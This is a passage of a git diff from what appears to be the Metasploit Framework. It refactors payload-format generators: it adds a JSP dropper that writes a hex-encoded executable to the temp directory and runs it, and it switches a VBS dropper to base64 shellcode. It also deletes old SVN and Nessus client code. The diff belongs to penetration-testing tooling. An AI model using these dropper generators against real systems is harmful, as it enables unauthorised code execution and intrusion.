Net::HTTP.new(url.host, url.port) + cli.use_ssl = true + req = Net::HTTP::Get.new(url.request_uri) + res = cli.request(req) + n = Nokogiri::HTML(res.body) + found_pr_link = n.at('li[@class="pull-request"]//a') + + # If there is no PR associated with this commit, it's probably from the SVN days. + return {} unless found_pr_link + + href = found_pr_link.attributes['href'].text + title = found_pr_link.attributes['title'].text + + # Filter out all the pull requests that do not belong to rapid7. + # If this happens, it's probably because the PR was submitted to somebody's fork. + return {} unless /^\/#{owner}\// === href + + { number: href.scan(/\d+$/).flatten.first, title: title } + end + end + + end + end +end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 4963d9f2ae..1d78a370fd 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -13,7 +13,7 @@ class EXE require 'rex' require 'rex/peparsey' require 'rex/pescan' -require 'rex/random_identifier_generator' +require 'rex/random_identifier' require 'rex/zip' require 'rex/powershell' require 'metasm' @@ -74,6 +74,29 @@ require 'msf/core/exe/segment_appender' template % hash_sub end + + # Generates a ZIP file. + # + # @param files [Array] Items to compress. Each item is a hash that supports these options: + # * :data - The content of the file. + # * :fname - The file path in the ZIP file + # * :comment - A comment + # @example Compressing two files, one in a folder called 'test' + # Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}]) + # @return [String] + def self.to_zip(files) + zip = Rex::Zip::Archive.new + + files.each do |f| + data = f[:data] + fname = f[:fname] + comment = f[:comment] || '' + zip.add_file(fname, data, comment) + end + + zip.pack + end + # Executable generators # # @param arch [Array] The architecture of the system (i.e :x86, :x64) @@ -1204,9 +1227,7 @@ require 'msf/core/exe/segment_appender' # @param code [String] # def self.to_powershell_vba(framework, arch, code) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") + template_path = Rex::Powershell::Templates::TEMPLATE_DIR powershell = Rex::Powershell::Command.cmd_psh_payload(code, arch, @@ -1216,7 +1237,7 @@ require 'msf/core/exe/segment_appender' method: 'reflection') # Intialize rig and value names - rig = Rex::RandomIdentifierGenerator.new() + rig = Rex::RandomIdentifier::Generator.new() rig.init_var(:sub_auto_open) rig.init_var(:var_powershell) @@ -1243,18 +1264,22 @@ require 'msf/core/exe/segment_appender' hash_sub = {} hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8)+8) << '.exe' + hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.b64' hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - - hash_sub[:hex_shellcode] = exes.unpack('H*').join('') - + hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes) + hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:init] = "" if persist @@ -1307,7 +1332,7 @@ require 'msf/core/exe/segment_appender' def self.to_mem_aspx(framework, code, exeopts = {}) # Intialize rig and value names - rig = Rex::RandomIdentifierGenerator.new() + rig = Rex::RandomIdentifier::Generator.new() rig.init_var(:var_funcAddr) rig.init_var(:var_hThread) rig.init_var(:var_pInfo) @@ -1321,17 +1346,11 @@ require 'msf/core/exe/segment_appender' end def self.to_win32pe_psh_net(framework, code, opts={}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_win32pe_psh(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code) end # @@ -1340,16 +1359,11 @@ require 'msf/core/exe/segment_appender' # Originally from PowerSploit # def self.to_win32pe_psh_reflection(framework, code, opts = {}) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") - Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code) + Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code) end def self.to_powershell_command(framework, arch, code) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") + template_path = Rex::Powershell::Templates::TEMPLATE_DIR Rex::Powershell::Command.cmd_psh_payload(code, arch, template_path, @@ -1358,9 +1372,7 @@ require 'msf/core/exe/segment_appender' end def self.to_powershell_hta(framework, arch, code) - template_path = File.join(Msf::Config.data_directory, - "templates", - "scripts") + template_path = Rex::Powershell::Templates::TEMPLATE_DIR powershell = Rex::Powershell::Command.cmd_psh_payload(code, arch, @@ -1370,7 +1382,7 @@ require 'msf/core/exe/segment_appender' method: 'reflection') # Intialize rig and value names - rig = Rex::RandomIdentifierGenerator.new() + rig = Rex::RandomIdentifier::Generator.new() rig.init_var(:var_shell) rig.init_var(:var_fso) @@ -1380,6 +1392,40 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_powershell.hta.template", hash_sub) end + def self.to_jsp(exe) + hash_sub = {} + hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8) + + payload_hex = exe.unpack('H*')[0] + hash_sub[:payload] = payload_hex + + read_replace_script_template("to_exe.jsp.template", hash_sub) + end + + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) + def self.to_jsp_war(exe, opts = {}) + template = self.to_jsp(exe) + self.to_war(template, opts) + end + def self.to_win32pe_vbs(framework, code, opts = {}) to_exe_vbs(to_win32pe(framework, code, opts), opts) end @@ -1473,52 +1519,6 @@ require 'msf/core/exe/segment_appender' zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a - # payload. The jsp page converts the hexdump back to a normal binary file - # and places it in the temp directory. The payload file is then executed. - # - # @see to_war - # @param exe [String] Executable to drop and run. - # @param opts (see to_war) - # @option opts (see to_war) - # @return (see to_war) - def self.to_jsp_war(exe, opts = {}) - # begin .jsp - hash_sub = {} - hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8) - - # Specify the payload in hex as an extra file.. - payload_hex = exe.unpack('H*')[0] - opts.merge!( - { - :extra_files => - [ - [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ] - ] - }) - - template = read_replace_script_template("to_exe_jsp.war.template", hash_sub) - - self.to_war(template, opts) - end - # Creates a .NET DLL which loads data into memory # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 @@ -2194,6 +2194,12 @@ require 'msf/core/exe/segment_appender' when 'loop-vbs' exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) + when 'jsp' + arch ||= [ ARCH_X86 ] + tmp_plat = plat.platforms if plat + tmp_plat ||= Msf::Module::PlatformList.transform('win') + exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) + Msf::Util::EXE.to_jsp(exe) when 'war' arch ||= [ ARCH_X86 ] tmp_plat = plat.platforms if plat @@ -2221,6 +2227,7 @@ require 'msf/core/exe/segment_appender' "asp", "aspx", "aspx-exe", + "axis2", "dll", "elf", "elf-so", @@ -2229,15 +2236,17 @@ require 'msf/core/exe/segment_appender' "exe-service", "exe-small", "hta-psh", + "jar", + "jsp", "loop-vbs", "macho", "msi", "msi-nouac", "osx-app", "psh", + "psh-cmd", "psh-net", "psh-reflection", - "psh-cmd", "vba", "vba-exe", "vba-psh", @@ -2253,9 +2262,9 @@ require 'msf/core/exe/segment_appender' path = ::File.expand_path(::File.join( ::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com") ) - return true unless ::File.exists?(path) + return true unless ::File.exist?(path) ret = false - if ::File.exists?(path) + if ::File.exist?(path) begin data = ::File.read(path) unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140" diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index 0063b51ea1..15b7441c16 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -44,7 +44,7 @@ class PayloadCachedSize def self.update_cache_constant(data, cached_size) data. gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, ''). - gsub(/^(module Metasploit\d+)\s*\n/) do |m| + gsub(/^(module MetasploitModule)\s*\n/) do |m| "#{m.strip}\n\n CachedSize = #{cached_size}\n\n" end end diff --git a/lib/msf/util/svn.rb b/lib/msf/util/svn.rb deleted file mode 100644 index 8b5f10175a..0000000000 --- a/lib/msf/util/svn.rb +++ /dev/null @@ -1,120 +0,0 @@ -# -*- coding: binary -*- -### -# -# framework-util-svn -# -------------- -# -# The class provides methods for parsing the SVN information in the framework directory -# -### - -require 'date' - -module Msf -module Util -class SVN - - def self.load_root - info = {} - path = ::File.join(::File.dirname(__FILE__), "..", "..", "..", ".svn", "entries") - if !::File.exists?(path) - return info - end - contents = '' - File.open(path, "rb") do |fd| - contents = fd.read(::File.size(path)) - end - if contents.include? " 7) - "%red#{diff.to_i} days ago%clr" - else - "#{diff.to_i} days ago" - end - end - end - - def self.last_updated_date - @@info ||= load_root - svnt = @@info[:updated] - if(not svnt) - return - end - begin - Date.parse(@@info[:updated]) - rescue ArgumentError - end - end - -end -end -end - diff --git a/lib/msf/windows_error.rb b/lib/msf/windows_error.rb index 5521a9163f..368a61e62d 100644 --- a/lib/msf/windows_error.rb +++ b/lib/msf/windows_error.rb @@ -236,6 +236,9 @@ class WindowsError PROCESS_MODE_NOT_BACKGROUND = 403 INVALID_ADDRESS = 487 + # Socket stuff + ADDRESS_IN_USE = 10048 + # # Return a string representation of the constant for a number # @@ -687,6 +690,8 @@ class WindowsError "The process is not in background processing mode." when INVALID_ADDRESS "Attempt to access invalid address." + when ADDRESS_IN_USE + "The address/port is already in use." else "#{code}" end diff --git a/lib/nessus/README b/lib/nessus/README deleted file mode 100644 index b16d2ad767..0000000000 --- a/lib/nessus/README +++ /dev/null @@ -1,66 +0,0 @@ -Nessus XML RPC library and Nessus Command Line interface to XML RPC - -(C) Vlatko Kosturjak, Kost. Distributed under GPL and BSD (dual licensed). - -Requirements -============ -Requirements are quite standard Ruby libraries for HTTPS and XML -parsing: -require 'uri' -require 'net/https' -require 'rexml/document' - -nessus-cli.rb -============= -Nessus command line interface for XML-RPC. - -Type ./nessus-cli.rb --help for command line options. - -Examples: ---------- - -./nessus-cli.rb --user john --password doe --scan scan-localhost --wait --output report.xml --target localhost - -./nessus-cli.rb --user user --password pass --scan localhost-scan --wait 5 -D --output report-localhost.xml --target localhost --verbose - -./nessus-cli.rb --user user --password pass --scan localhost-scan --wait 5 -D --output report-localhost.xml --target 127.0.0.1 --verbose --policy mypolicy --url https://localhost:8834 - -Or if you want to have detached scans: --------------------------------------- - -./nessus-cli.rb --user user --password pass --scan localhost-scan --target 127.0.0.1 --policy mypolicy - -./nessus-cli.rb --user user --password pass --list-scans - -./nessus-cli.rb --user user --password pass --pause 5329fae9-fb1d-0c67-a401-a0db12637c0d5bcd67900d34e00e - -./nessus-cli.rb --user user --password pass --resume 5329fae9-fb1d-0c67-a401-a0db12637c0d5bcd67900d34e00e - -./nessus-cli.rb --user user --password pass --stop 5329fae9-fb1d-0c67-a401-a0db12637c0d5bcd67900d34e00e - -./nessus-cli.rb --user user --password pass --stop-all - -./nessus-cli.rb --user user --password pass --report 5329fae9-fb1d-0c67-a401-a0db12637c0d5bcd67900d34e00e --output report.xml - -nessus-xmlrpc.rb -================ -communicate with Nessus(4.2+) over XML RPC interface - -Simple example: - -require 'nessus-xmlrpc' -n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# n=NessusXMLRPC::NessusXMLRPC.new('','user','pass'); # it's same -if n.logged_in - id,name = n.policy_get_first - puts "using policy ID: " + id + " with name: " + name - uid=n.scan_new(id,"textxmlrpc","127.0.0.1") - puts "status: " + n.scan_status(uid) - while not n.scan_finished(uid) - sleep 10 - end - content=n.report_file_download(uid) - File.open('report.xml', 'w') {|f| f.write(content) } -end - -Take a look at nessus-cli.rb for more advanced examples. diff --git a/lib/nessus/TODO b/lib/nessus/TODO deleted file mode 100644 index 9901b174ca..0000000000 --- a/lib/nessus/TODO +++ /dev/null @@ -1 +0,0 @@ -- Error handling, no puts diff --git a/lib/nessus/nessus-cli.rb b/lib/nessus/nessus-cli.rb deleted file mode 100755 index f6d62a8a52..0000000000 --- a/lib/nessus/nessus-cli.rb +++ /dev/null @@ -1,382 +0,0 @@ -#!/usr/bin/env ruby -# = nessus-cli.rb: Nessus command line interface for XML-RPC -# Author:: Vlatko Kosturjak -# -# (C) Vlatko Kosturjak, Kost. Distributed under GPL and BSD (dual licensed). - -require 'nessus-xmlrpc' -require 'getoptlong' - -verbose = 0 -debug = 0 -operation = '' -targets = '' -deletereport = false -user = '' -password = '' -scanname = '' -output = '' -output1 = '' -wait = '' -policy = '' -url = '' - -def intro - $stderr.print $0 + ": Nessus command line interface for XML-RPC\n" - $stderr.print "(C) Vlatko Kosturjak, Kost. Distributed under GPL.\n" - $stderr.print "\n" -end - -intro - -def give_help - puts <<-EOF ---user user for login to Nessus server ---password

      password for login to Nessus server ---scan start scan with name ---target specify list of targets, separated by comma ---policy specify policy to use (name of policy) ---url url of Nessus server (default: localhost:8834) ---wait [t] wait scan to finish (ask in regular periods of for status) ---output output report XML to file ---output1 output report XML v1 to file ---reportdelete delete report after finish or delete report by id (if alone) ---stop stop scan identified by ---stop-all stop all scans ---pause pause scan identified by ---pause-all pause all scans ---resume resume scan identified by ---resume-all resume all scans ---report download report identified by ---list-scans list scans ---list-policy list policies ---status get status of scan by ---verbose be verbose ---debug be even more verbose ---help this help - -Examples: -#{$0} --user john --password doe --scan scan-localhost --wait --output report.xml --target localhost -EOF - exit 0 -end - -if ARGV.length < 1 - give_help -end - -opt = GetoptLong.new( - ["--help", "-h", GetoptLong::NO_ARGUMENT], - ["--verbose", "-v", GetoptLong::OPTIONAL_ARGUMENT], - ["--target", "-t", GetoptLong::REQUIRED_ARGUMENT], - ["--user", "-u", GetoptLong::REQUIRED_ARGUMENT], - ["--password", "-p", GetoptLong::REQUIRED_ARGUMENT], - ["--policy", "-P", GetoptLong::REQUIRED_ARGUMENT], - ["--url", "-U", GetoptLong::REQUIRED_ARGUMENT], - ["--deletereport", "-D", GetoptLong::OPTIONAL_ARGUMENT], - ["--wait", "-w", GetoptLong::OPTIONAL_ARGUMENT], - ["--scan", "-s", GetoptLong::REQUIRED_ARGUMENT], - ["--list-scans", "-l", GetoptLong::NO_ARGUMENT], - ["--list-policy", "-L", GetoptLong::NO_ARGUMENT], - ["--status", "-W", GetoptLong::REQUIRED_ARGUMENT], - ["--stop", "-S", GetoptLong::REQUIRED_ARGUMENT], - ["--stop-all", "-a", GetoptLong::NO_ARGUMENT], - ["--pause", "-q", GetoptLong::REQUIRED_ARGUMENT], - ["--pause-all", "-Q", GetoptLong::NO_ARGUMENT], - ["--resume", "-e", GetoptLong::REQUIRED_ARGUMENT], - ["--resume-all", "-E", GetoptLong::NO_ARGUMENT], - ["--report", "-r", GetoptLong::REQUIRED_ARGUMENT], - ["--output", "-o", GetoptLong::REQUIRED_ARGUMENT], - ["--output1", "-1", GetoptLong::REQUIRED_ARGUMENT] -) - -def give_error - $stderr.print "You used incompatible options, probably you mixed --scan with --stop" - $stderr.print "or something similar." - exit 0 -end - -opt.each do |opt,arg| - case opt - when '--help' - give_help - when '--user' - user = arg - when '--password' - password = arg - when '--stop' - if operation == '' - operation = "stop" - scanname = arg - else - give_error - end - when '--pause' - if operation == '' - operation = "pause" - scanname = arg - else - give_error - end - when '--resume' - if operation == '' - operation = "resume" - scanname = arg - else - give_error - end - when '--stop-all' - if operation == '' - operation = "stop-all" - else - give_error - end - when '--pause-all' - if operation == '' - operation = "pause-all" - else - give_error - end - when '--resume-all' - if operation == '' - operation = "resume-all" - else - give_error - end - when '--report' - if operation == '' - operation = "report" - scanname = arg - else - give_error - end - when '--scan' - if operation == '' - operation = "scan" - scanname = arg - else - give_error - end - when '--target' - if arg[0..6] == 'file://' - f = File.open(arg[7..-1], "r") - f.each_line do |line| - line=line.chomp - line=line.strip - unless line == '' or line == nil - if targets == '' - targets = line - else - targets = targets + "," + line - end - end - end - f.close - else - # if there's multiple target options, add comma - if targets == '' - targets = arg - - else - targets = targets + "," + arg - end - end - when '--wait' - if arg == '' - wait = 15 - else - wait = arg.to_i - end - when '--reportdelete' - if arg == '' - deletereport=true - else - operation = "reportdelete" - scanname = arg - end - - when '--output' - output = arg - when '--output1' - output1 = arg - when '--policy' - policy = arg - when '--status' - if operation == '' - operation = "status" - scanname = arg - else - give_error - end - when '--url' - url = arg - when '--verbose' - if arg == '' - verbose += 1 - else - verbose = arg.to_i - end - when '--debug' - if arg == '' - debug += 1 - else - debug = arg.to_i - end - when '--list-scans' - if operation == '' - operation = "list-scans" - scanname = arg - else - give_error - end - when '--list-policy' - if operation == '' - operation = "list-policy" - scanname = arg - else - give_error - end - end -end - -if (user == '') or (password == '') - $stderr.print "User and password is required to login to Nessus server" - $stderr.print "Try --help!" - exit 1 -end - -$stderr.print "[i] Targets: " + targets +"\n" if verbose > 0 -$stderr.print "[i] Connecting to nessus server: " if verbose > 0 -n=NessusXMLRPC::NessusXMLRPC.new(url,user,password) -if n.logged_in - $stderr.print "OK!\n" if verbose > 0 -else - $stderr.print "[e] Error connecting/logging to the server!\n" - exit 2 -end - -case operation - when "scan" - if policy == '' - $stderr.print "[w] Policy not defined, using first served from the server\n" - pid,name = n.policy_get_first - $stderr.print "[w] using policy id " + pid + " with name " + name + "\n" - else - pid=n.policy_get_id(policy) - if pid == '' - $stderr.print "[e] policy doesn't exit: " + policy + "\n" - exit 3 - end - end - if targets == '' - $stderr.print "[w] Targets not defined, using localhost as target\n" - targets = '127.0.0.1' - end - $stderr.print "[i] Initiating scan with targets: "+targets+': ' if verbose > 0 - uid=n.scan_new(pid,scanname,targets) - $stderr.print "done\n" if verbose > 0 - unless wait == '' - while not n.scan_finished(uid) - $stderr.print "[v] Sleeping for " + wait.to_s() + ": " if verbose > 1 - sleep wait - $stderr.print "done\n" if verbose > 1 - stat = n.scan_status(uid) - print "\r" + stat if verbose > 0 - end - else - puts uid - exit 0 - end - unless output == '' - $stderr.print "[i] Output XML report to file: "+output if verbose > 0 - content=n.report_file_download(uid) - File.open(output, 'w') {|f| f.write(content) } - $stderr.print ": done\n" if verbose > 0 - end - unless output1 == '' - $stderr.print "[i] Output XML1 report to file: "+output1 if verbose > 0 - content=n.report_file1_download(uid) - File.open(output, 'w') {|f| f.write(content) } - $stderr.print ": done\n" if verbose > 0 - end - if deletereport - $stderr.print "[i] Deleting report: " if verbose > 0 - n.report_delete(uid) - $stderr.print "done\n" if verbose > 0 - end - when "report" - uid=scanname - if (output == '') and (output1 == '') - $stderr.print "[e] You want report, but specify filename with --output or output1\n" - end - unless output == '' - $stderr.print "[i] Output XML report to file: "+output if verbose > 0 - content=n.report_file_download(uid) - File.open(output, 'w') {|f| f.write(content) } - $stderr.print ": done\n" if verbose > 0 - end - unless output1 == '' - $stderr.print "[i] Output XML1 report to file: "+output1 if verbose > 0 - content=n.report1_file_download(uid) - File.open(output, 'w') {|f| f.write(content) } - $stderr.print ": done\n" if verbose > 0 - end - if deletereport - $stderr.print "[i] Deleting report: " if verbose > 0 - n.report_delete(uid) - $stderr.print "done\n" if verbose > 0 - end - when "stop" - $stderr.print "[i] Stopping scan: " + scanname if verbose > 0 - n.scan_stop(scanname) - $stderr.print "done\n" if verbose > 0 - when "stop-all" - $stderr.print "[i] Stopping all scans: " if verbose > 0 - list=n.scan_stop_all - $stderr.print "done\n" if verbose > 0 - if verbose > 1 - list.each {|uuid| puts "[v] Stop all: " + uuid } - end - when "pause" - $stderr.print "[i] Pausing scan: " + scanname if verbose > 0 - n.scan_pause(scanname) - $stderr.print "done\n" if verbose > 0 - when "pause-all" - $stderr.print "[i] Pausing all scans: " if verbose > 0 - list=n.scan_pause_all - $stderr.print "done\n" if verbose > 0 - if verbose > 1 - list.each {|uuid| puts "[v] Pause all: " + uuid } - end - when "resume" - $stderr.print "[i] Resuming scan: " + scanname if verbose > 0 - n.scan_resume(scanname) - $stderr.print "done\n" if verbose > 0 - when "resume-all" - $stderr.print "[i] Resuming all scans: " if verbose > 0 - list=n.scan_resume_all - $stderr.print "done\n" if verbose > 0 - if verbose > 1 - list.each {|uuid| puts "[v] Resume all: " + uuid } - end - when "reportdelete" - $stderr.print "[i] Deleting report: " + scanname if verbose > 0 - n.report_delete(scanname) - $stderr.print "done\n" if verbose > 0 - when "status" - puts "status: " + n.scan_status(scanname) - when "list-scans" - list=n.scan_list_hash - list.each {|scan| - puts scan['id']+":"+scan['name']+":"+ \ - scan['current']+"/"+scan['total'] - } - when "list-policy" - list=n.policy_list_names - list.each {|policy| - puts policy - } - -end - -$stderr.print "[v] End reached.\n" if verbose > 1 diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb deleted file mode 100644 index 58e48e15c0..0000000000 --- a/lib/nessus/nessus-xmlrpc.rb +++ /dev/null @@ -1,308 +0,0 @@ -require 'net/http' - -module Nessus - class Client - class << self - @connection - @token - end - - def initialize(host, username = nil, password = nil, ssl_option = nil) - uri = URI.parse(host) - @connection = Net::HTTP.new(uri.host, uri.port) - @connection.use_ssl = true - if ssl_option == "ssl_verify" - @connection.verify_mode = OpenSSL::SSL::VERIFY_PEER - else - @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - - yield @connection if block_given? - authenticate(username, password) if username && password - end - - def authenticate(username, password) - payload = { - :username => username, - :password => password, - :json => 1 - } - res = http_post(:uri=>"/session", :data=>payload) - if res['token'] - @token = "token=#{res['token']}" - return true - else - false - end - end - - def x_cookie - {'X-Cookie'=>@token} - end - - alias_method :login, :authenticate - - def authenticated - if (@token && @token.include?('token=')) - return true - else - return false - end - end - - def get_server_properties - http_get(:uri=>"/server/properties", :fields=>x_cookie) - end - - def user_add(username, password, permissions, type) - payload = { - :username => username, - :password => password, - :permissions => permissions, - :type => type, - :json => 1 - } - http_post(:uri=>"/users", :fields=>x_cookie, :data=>payload) - end - - def user_delete(user_id) - res = http_delete(:uri=>"/users/#{user_id}", :fields=>x_cookie) - return res.code - end - - def user_chpasswd(user_id, password) - payload = { - :password => password, - :json => 1 - } - res = http_put(:uri=>"/users/#{user_id}/chpasswd", :data=>payload, :fields=>x_cookie) - return res.code - end - - def user_logout - res = http_delete(:uri=>"/session", :fields=>x_cookie) - return res.code - end - - def list_policies - http_get(:uri=>"/policies", :fields=>x_cookie) - end - - def list_users - http_get(:uri=>"/users", :fields=>x_cookie) - end - - def list_folders - http_get(:uri=>"/folders", :fields=>x_cookie) - end - - def list_scanners - http_get(:uri=>"/scanners", :fields=>x_cookie) - end - - def list_families - http_get(:uri=>"/plugins/families", :fields=>x_cookie) - end - - def list_plugins(family_id) - http_get(:uri=>"/plugins/families/#{family_id}", :fields=>x_cookie) - end - - def list_template(type) - res = http_get(:uri=>"/editor/#{type}/templates", :fields=>x_cookie) - end - - def plugin_details(plugin_id) - http_get(:uri=>"/plugins/plugin/#{plugin_id}", :fields=>x_cookie) - end - - def is_admin - res = http_get(:uri=>"/session", :fields=>x_cookie) - if res['permissions'] == 128 - return true - else - return false - end - end - - def server_properties - http_get(:uri=>"/server/properties", :fields=>x_cookie) - end - - def scan_create(uuid, name, description, targets) - payload = { - :uuid => uuid, - :settings => { - :name => name, - :description => description, - :text_targets => targets - }, - :json => 1 - }.to_json - http_post(:uri=>"/scans", :body=>payload, :fields=>x_cookie, :ctype=>'application/json') - end - - def scan_launch(scan_id) - http_post(:uri=>"/scans/#{scan_id}/launch", :fields=>x_cookie) - end - - def server_status - http_get(:uri=>"/server/status", :fields=>x_cookie) - end - - def scan_list - http_get(:uri=>"/scans", :fields=>x_cookie) - end - - def scan_details(scan_id) - http_get(:uri=>"/scans/#{scan_id}", :fields=>x_cookie) - end - - def scan_pause(scan_id) - http_post(:uri=>"/scans/#{scan_id}/pause", :fields=>x_cookie) - end - - def scan_resume(scan_id) - http_post(:uri=>"/scans/#{scan_id}/resume", :fields=>x_cookie) - end - - def scan_stop(scan_id) - http_post(:uri=>"/scans/#{scan_id}/stop", :fields=>x_cookie) - end - - def scan_export(scan_id, format) - payload = { - :format => format - }.to_json - http_post(:uri=>"/scans/#{scan_id}/export", :body=>payload, :ctype=>'application/json', :fields=>x_cookie) - end - - def scan_export_status(scan_id, file_id) - request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status") - request.add_field("X-Cookie", @token) - res = @connection.request(request) - if res.code == "200" - return "ready" - else - res = JSON.parse(res.body) - return res - end - end - - def policy_delete(policy_id) - res = http_delete(:uri=>"/policies/#{policy_id}", :fields=>x_cookie) - return res.code - end - - def host_detail(scan_id, host_id) - res = http_get(:uri=>"/scans/#{scan_id}/hosts/#{host_id}", :fields=>x_cookie) - end - - def report_download(scan_id, file_id) - res = http_get(:uri=>"/scans/#{scan_id}/export/#{file_id}/download", :raw_content=> true, :fields=>x_cookie) - end - - private - - def http_put(opts={}) - uri = opts[:uri] - data = opts[:data] - fields = opts[:fields] || {} - res = nil - - req = Net::HTTP::Put.new(uri) - req.set_form_data(data) unless data.blank? - fields.each_pair do |name, value| - req.add_field(name, value) - end - - begin - res = @connection.request(req) - rescue URI::InvalidURIError - return res - end - - res - end - - def http_delete(opts={}) - uri = opts[:uri] - fields = opts[:fields] || {} - res = nil - - req = Net::HTTP::Delete.new(uri) - - fields.each_pair do |name, value| - req.add_field(name, value) - end - - begin - res = @connection.request(req) - rescue URI::InvalidURIError - return res - end - - res - end - - def http_get(opts={}) - uri = opts[:uri] - fields = opts[:fields] || {} - raw_content = opts[:raw_content] || false - json = {} - - req = Net::HTTP::Get.new(uri) - fields.each_pair do |name, value| - req.add_field(name, value) - end - - begin - res = @connection.request(req) - rescue URI::InvalidURIError - return json - end - if !raw_content - parse_json(res.body) - else - res.body - end - end - - def http_post(opts={}) - uri = opts[:uri] - data = opts[:data] - fields = opts[:fields] || {} - body = opts[:body] - ctype = opts[:ctype] - json = {} - - req = Net::HTTP::Post.new(uri) - req.set_form_data(data) unless data.blank? - req.body = body unless body.blank? - req['Content-Type'] = ctype unless ctype.blank? - fields.each_pair do |name, value| - req.add_field(name, value) - end - - begin - res = @connection.request(req) - rescue 